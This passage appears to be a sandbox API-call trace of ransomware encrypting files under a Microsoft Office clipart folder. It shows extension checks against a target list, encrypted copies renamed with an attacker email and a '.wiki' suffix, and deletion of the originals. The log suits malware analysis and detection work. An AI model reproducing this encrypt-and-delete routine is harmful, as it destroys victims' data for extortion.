Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.054] lstrlenW (lpString=".dbf") returned 4 [0194.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.054] lstrlenW (lpString=".1cd") returned 4 [0194.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.054] lstrlenW (lpString=".jpg") returned 4 [0194.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.054] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.054] lstrlenW (lpString="J0105496.WMF") returned 12 [0194.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.055] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5156) returned 1 [0194.055] CloseHandle (hObject=0x200) returned 1 [0194.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20 [0194.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.055] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.055] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.056] GetLastError () returned 0x0 [0194.056] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1424, lpOverlapped=0x0) returned 1 [0194.311] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1430, lpOverlapped=0x0) returned 1 [0194.337] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.342] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.343] SetEndOfFile (hFile=0x1f8) returned 1 [0194.343] CloseHandle (hObject=0x1f8) returned 1 [0194.343] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.343] SetEndOfFile (hFile=0x200) returned 1 [0194.344] CloseHandle (hObject=0x200) returned 1 [0194.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0194.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.344] lstrlenW (lpString=".doc") returned 4 [0194.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.344] lstrlenW (lpString=".docx") returned 5 [0194.344] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.344] lstrlenW (lpString=".pdf") returned 4 [0194.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.344] lstrlenW (lpString=".xls") returned 4 [0194.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.344] lstrlenW (lpString=".xlsx") returned 5 [0194.344] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.344] lstrlenW (lpString=".ppt") returned 4 [0194.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.345] lstrlenW (lpString=".zip") returned 4 [0194.345] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.345] lstrlenW (lpString=".rar") returned 4 [0194.345] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString=".bz2") returned 4 [0194.345] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString=".7z") returned 3 [0194.345] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.345] lstrlenW (lpString=".dbf") returned 4 [0194.345] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.345] lstrlenW (lpString=".1cd") returned 4 [0194.345] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.345] lstrlenW (lpString=".jpg") returned 4 [0194.345] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.345] lstrlenW (lpString=".doc") returned 4 [0194.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString=".docx") returned 5 [0194.345] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.345] lstrlenW (lpString=".pdf") returned 4 [0194.345] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.345] lstrlenW (lpString=".xls") returned 4 [0194.345] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.345] lstrlenW (lpString=".xlsx") returned 5 [0194.346] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.346] lstrlenW (lpString=".ppt") returned 4 [0194.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.346] lstrlenW (lpString=".zip") returned 4 [0194.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.346] lstrlenW (lpString=".rar") returned 4 [0194.346] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.346] lstrlenW (lpString=".bz2") returned 4 [0194.346] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.346] lstrlenW (lpString=".7z") returned 3 [0194.346] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.346] lstrlenW (lpString=".dbf") returned 4 [0194.346] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.346] lstrlenW (lpString=".1cd") returned 4 [0194.346] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned 63 [0194.346] lstrlenW (lpString=".jpg") returned 4 [0194.346] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.346] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.346] lstrlenW (lpString="J0105600.WMF") returned 12 [0194.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.347] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8680) returned 1 [0194.347] CloseHandle (hObject=0x200) returned 1 [0194.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20 [0194.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.347] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.347] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.348] GetLastError () returned 0x0 [0194.348] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x21e8, lpOverlapped=0x0) returned 1 [0194.349] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x21f0, lpOverlapped=0x0) returned 1 [0194.350] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.350] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.350] SetEndOfFile (hFile=0x1f8) returned 1 [0194.351] CloseHandle (hObject=0x1f8) returned 1 [0194.351] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.351] SetEndOfFile (hFile=0x200) returned 1 [0194.351] CloseHandle (hObject=0x200) returned 1 [0194.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0194.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.352] lstrlenW (lpString=".doc") returned 4 [0194.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.352] lstrlenW (lpString=".docx") returned 5 [0194.352] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.352] lstrlenW (lpString=".pdf") returned 4 [0194.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.352] lstrlenW (lpString=".xls") returned 4 [0194.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.352] lstrlenW (lpString=".xlsx") returned 5 [0194.352] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.352] lstrlenW (lpString=".ppt") returned 4 [0194.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.352] lstrlenW (lpString=".zip") returned 4 [0194.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.352] lstrlenW (lpString=".rar") returned 4 [0194.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.352] lstrlenW (lpString=".bz2") returned 4 [0194.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.353] lstrlenW (lpString=".7z") returned 3 [0194.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.353] lstrlenW (lpString=".dbf") returned 4 [0194.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.353] lstrlenW (lpString=".1cd") returned 4 [0194.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.353] lstrlenW (lpString=".jpg") returned 4 [0194.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.353] lstrlenW (lpString=".doc") returned 4 [0194.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.353] lstrlenW (lpString=".docx") returned 5 [0194.353] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0194.353] lstrlenW (lpString=".pdf") returned 4 [0194.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.353] lstrlenW (lpString=".xls") returned 4 [0194.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.353] lstrlenW (lpString=".xlsx") returned 5 [0194.353] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0194.353] lstrlenW (lpString=".ppt") returned 4 [0194.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.353] lstrlenW (lpString=".zip") returned 4 [0194.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.354] lstrlenW (lpString=".rar") returned 4 [0194.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.354] lstrlenW (lpString=".bz2") returned 4 [0194.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.354] lstrlenW (lpString=".7z") returned 3 [0194.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.354] lstrlenW (lpString=".dbf") returned 4 [0194.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.354] lstrlenW (lpString=".1cd") returned 4 [0194.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0194.354] lstrlenW (lpString=".jpg") returned 4 [0194.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.354] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.354] lstrlenW (lpString="J0105638.WMF") returned 12 [0194.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.355] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=10364) returned 1 [0194.355] CloseHandle (hObject=0x200) returned 1 [0194.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 0x20 [0194.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.355] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.355] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.356] GetLastError () returned 0x0 [0194.356] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x287c, lpOverlapped=0x0) returned 1 [0194.358] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2880, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2880, lpOverlapped=0x0) returned 1 [0194.359] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.359] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.359] SetEndOfFile (hFile=0x1f8) returned 1 [0194.359] CloseHandle (hObject=0x1f8) returned 1 [0194.359] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.359] SetEndOfFile (hFile=0x200) returned 1 [0194.360] CloseHandle (hObject=0x200) returned 1 [0194.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.360] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105638.wmf")) returned 1 [0194.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.360] lstrlenW (lpString=".doc") returned 4 [0194.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.360] lstrlenW (lpString=".docx") returned 5 [0194.360] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.360] lstrlenW (lpString=".pdf") returned 4 [0194.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.360] lstrlenW (lpString=".xls") returned 4 [0194.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.360] lstrlenW (lpString=".xlsx") returned 5 [0194.361] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.361] lstrlenW (lpString=".ppt") returned 4 [0194.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.361] lstrlenW (lpString=".zip") returned 4 [0194.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.361] lstrlenW (lpString=".rar") returned 4 [0194.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString=".bz2") returned 4 [0194.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString=".7z") returned 3 [0194.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.361] lstrlenW (lpString=".dbf") returned 4 [0194.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.361] lstrlenW (lpString=".1cd") returned 4 [0194.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.361] lstrlenW (lpString=".jpg") returned 4 [0194.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.361] lstrlenW (lpString=".doc") returned 4 [0194.361] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString=".docx") returned 5 [0194.361] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0194.361] lstrlenW (lpString=".pdf") returned 4 [0194.361] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.361] lstrlenW (lpString=".xls") returned 4 [0194.361] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.362] lstrlenW (lpString=".xlsx") returned 5 [0194.362] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0194.362] lstrlenW (lpString=".ppt") returned 4 [0194.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.362] lstrlenW (lpString=".zip") returned 4 [0194.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.362] lstrlenW (lpString=".rar") returned 4 [0194.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.362] lstrlenW (lpString=".bz2") returned 4 [0194.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.362] lstrlenW (lpString=".7z") returned 3 [0194.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.362] lstrlenW (lpString=".dbf") returned 4 [0194.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.362] lstrlenW (lpString=".1cd") returned 4 [0194.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105638.WMF") returned 63 [0194.362] lstrlenW (lpString=".jpg") returned 4 [0194.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.362] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.362] lstrlenW (lpString="J0105710.WMF") returned 12 